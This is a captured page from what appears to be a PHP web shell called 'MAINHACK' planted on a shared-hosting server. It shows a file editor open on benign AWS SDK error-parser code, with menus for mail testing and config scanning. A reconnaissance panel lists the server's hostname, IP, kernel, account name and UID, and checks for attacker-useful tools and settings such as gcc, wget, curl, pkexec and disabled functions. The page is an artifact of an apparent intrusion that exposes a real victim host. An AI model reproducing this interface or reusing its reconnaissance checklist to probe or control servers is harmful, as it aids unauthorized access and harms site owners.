[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: AbstractErrorParser.php
<?php namespace Aws\Api\ErrorParser; use Aws\Api\Parser\MetadataParserTrait; use Aws\Api\Parser\PayloadParserTrait; use Aws\Api\Service; use Aws\Api\StructureShape; use Aws\CommandInterface; use Psr\Http\Message\ResponseInterface; abstract class AbstractErrorParser { use MetadataParserTrait; use PayloadParserTrait; /** * @var Service */ protected $api; /** * @param Service $api */ public function __construct(?Service $api = null) { $this->api = $api; } abstract protected function payload( ResponseInterface $response, StructureShape $member ); protected function extractPayload( StructureShape $member, ResponseInterface $response ) { if ($member instanceof StructureShape) { // Structure members parse top-level data into a specific key. return $this->payload($response, $member); } else { // Streaming data is just the stream from the response body. return $response->getBody(); } } protected function populateShape( array &$data, ResponseInterface $response, ?CommandInterface $command = null ) { $data['body'] = []; if (!empty($command) && !empty($this->api)) { // If modeled error code is indicated, check for known error shape if (!empty($data['code'])) { $errors = $this->api->getOperation($command->getName())->getErrors(); foreach ($errors as $key => $error) { // If error code matches a known error shape, populate the body if ($this->errorCodeMatches($data, $error)) { $modeledError = $error; $data['body'] = $this->extractPayload( $modeledError, $response ); $data['error_shape'] = $modeledError; foreach ($error->getMembers() as $name => $member) { switch ($member['location']) { case 'header': $this->extractHeader($name, $member, $response, $data['body']); break; case 'headers': $this->extractHeaders($name, $member, $response, $data['body']); break; case 'statusCode': $this->extractStatus($name, $response, $data['body']); break; } } break; } } } } return $data; } private function errorCodeMatches(array $data, $error): bool { return $data['code'] == $error['name'] || (isset($error['error']['code']) && $data['code'] === $error['error']['code']); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285